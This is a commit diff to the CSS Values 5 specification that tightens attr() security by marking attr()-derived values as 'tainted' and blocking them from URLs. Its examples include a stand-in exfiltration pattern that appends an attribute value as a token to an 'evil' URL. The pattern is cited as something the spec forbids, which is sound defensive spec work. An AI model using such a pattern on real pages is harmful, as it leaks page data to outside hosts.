Skip to content

Commit 9fad470

Browse files
committed
[css-values-5] Fix attr() security to be clearer about invalidation time, and reduce the tainting scope to individual values.
1 parent 95e6ec6 commit 9fad470

File tree

1 file changed

+16
-6
lines changed

1 file changed

+16
-6
lines changed

css-values-5/Overview.bs

+16-6
Original file line numberDiff line numberDiff line change
@@ -1556,12 +1556,15 @@ Security</h4>
15561556
to a hostile party,
15571557
if 3rd-party CSS is allowed at all.
15581558

1559-
For this reason,
1560-
''attr()'' does not have a <css>url</css> type.
1561-
Additionally, ''attr()'' is not allowed to be used
1562-
in any <<url>> value,
1563-
whether directly or indirectly.
1564-
Doing so makes the property it's used in invalid.
1559+
To guard against this,
1560+
the values produced by an ''attr()'' are considered <dfn export lt="attr()-taint">attr()-tainted</dfn>,
1561+
as are functions that contain an [=attr()-tainted=] value.
1562+
[=Registered custom properties=] containing ''attr()''
1563+
maintain the [=attr()-taint=] on their [=attr()-tainted=] values
1564+
across [=var() substitution=].
1565+
1566+
Using an [=attr()-tainted=] value as or in a <<url>>
1567+
makes a declaration [=invalid at computed-value time=].
15651568

15661569
<div class=example>
15671570
For example,
@@ -1571,6 +1574,13 @@ Security</h4>
15711574
* ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions.
15721575
* ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function.
15731576
* ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either.
1577+
1578+
However, using ''attr()'' for other purposes is fine,
1579+
even if the usage is <em>near</em> a url:
1580+
1581+
* ''background-image: image("foo.jpg", attr(bgcolor <color>))'' is fine;
1582+
the ''attr()'' is providing a fallback color,
1583+
and the <<url>> isn't [=attr()-tainted=].
15741584
</div>
15751585

15761586
Note: Implementing this restriction

0 commit comments

Comments
 (0)